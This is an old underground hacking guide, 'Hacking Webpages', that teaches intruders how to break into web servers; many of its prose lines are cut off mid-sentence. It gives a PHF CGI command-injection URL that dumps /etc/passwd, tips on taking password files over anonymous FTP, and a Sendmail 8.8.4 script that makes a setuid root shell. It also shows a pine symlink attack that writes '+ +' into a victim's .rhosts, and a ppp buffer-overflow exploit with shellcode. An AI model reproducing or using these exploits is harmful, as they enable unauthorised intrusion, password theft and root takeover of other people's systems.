Hacking Webpages
The Ultimate Guide
By Virtual Circuit and Psychotic

Well Psychotic wrote one of the most helpful unix text files in cyberspace but wi

Getting the Password File Through FTP

Ok well one of the easiest ways of getting superuser access is through anonymous

```
root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh
```

This is an example of a regular encrypted password file. The Superuser is the par

```
root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp
```

This is another example of a password file, only this one has one little differen

```
root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false
```

Shadowed password files have an "x" in the place of a password or sometimes they

Now that you know a little more about what the actual password file looks like yo

Cracking a password file isn't as complicated as it would seem, although the file

The PHF Technique

Well I wasn't sure if I should include this section due to the fact that everybod

The phf technique is by far the easiest way of getting a password file(although i

```
http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
```

You replace the webpage_goes_here with the domain. So if you were trying to get t

```
http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
```

and that's it! You just sit back and copy the file(if it works).

Telnet and Exploits

Well exploits are the best way of hacking webpages but they are also more complic

It's best to get an account with your target(if possible) and view the glitches f

This exploit is known as Sendmail v.8.8.4
It creates a suid program /tmp/x that calls shell as root. This is how you set it

```
cat << _EOF_ >/tmp/x.c
 #define RUN "/bin/ksh"
 #include<stdio.h>
 main()
 {
    execl(RUN,RUN,NULL);
 }
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
 main()
 {
   execl("/usr/lib/sendmail","/tmp/smtpd",0);
 }
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
 main()
 {
   setuid(0); setgid(0);
   system("chown root /tmp/x ;chmod 4755 /tmp/x");
 }
_EOF_
#
#
gcc -O  -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" "
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
   echo "leet..."
   /tmp/x
fi
```

and now on to another exploit. I'm going to display the pine exploit through linu
  the respective lockfile.

  Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a ge

This was writen by Sean B. Hamor…For this example, hamors is the victim while cat

```
hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr   1739  0.0  1.8  100  356 pp3 S    19:07   0:00 grep pine
hamors    1732  0.8  5.7  249 1104 pp2 S    19:05   0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw-   1 hamors   elite           4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr   1744  0.0  1.8  100  356 pp3 S    19:08   0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4
```

```
hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr   1759  0.0  1.8  100  356 pp3 S    19:11   0:00 grep pine
hamors    1756  2.7  5.1  226  992 pp2 S    19:10   0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors
```

now on to another one, this will be the last one that I'm going to show. Exploita
  FreeBSD as tested. Mess with the numbers if it doesnt work. This is how you set

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFFER_SIZE     156     /* size of the bufer to overflow */

#define OFFSET          -290    /* number of bytes to jump after the start
                                   of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])
{
        char *buf = NULL;
        unsigned long *addr_ptr = NULL;
        char *ptr = NULL;
        char execshell[] =
        "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16
        "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16
        "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"  /* 20
        "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";    /* 15

        int i,j;

        buf = malloc(4096);

        /* fill start of bufer with nops */

        i = BUFFER_SIZE-strlen(execshell);

        memset(buf, 0x90, i);
        ptr = buf + i;

        /* place exploit code into the buffer */

        for(i = 0; i < strlen(execshell); i++)
                *ptr++ = execshell[i];

        addr_ptr = (long *)ptr;
        for(i=0;i < (104/4); i++)
                *addr_ptr++ = get_esp() + OFFSET;

        ptr = (char *)addr_ptr;
        *ptr = 0;
        setenv("HOME", buf, 1);

        execl("/usr/sbin/ppp", "ppp", NULL);
}
```

Now that you've gotten root "what's next?" Well the choice is up to you but I wou

~~PSYCHOTIC~~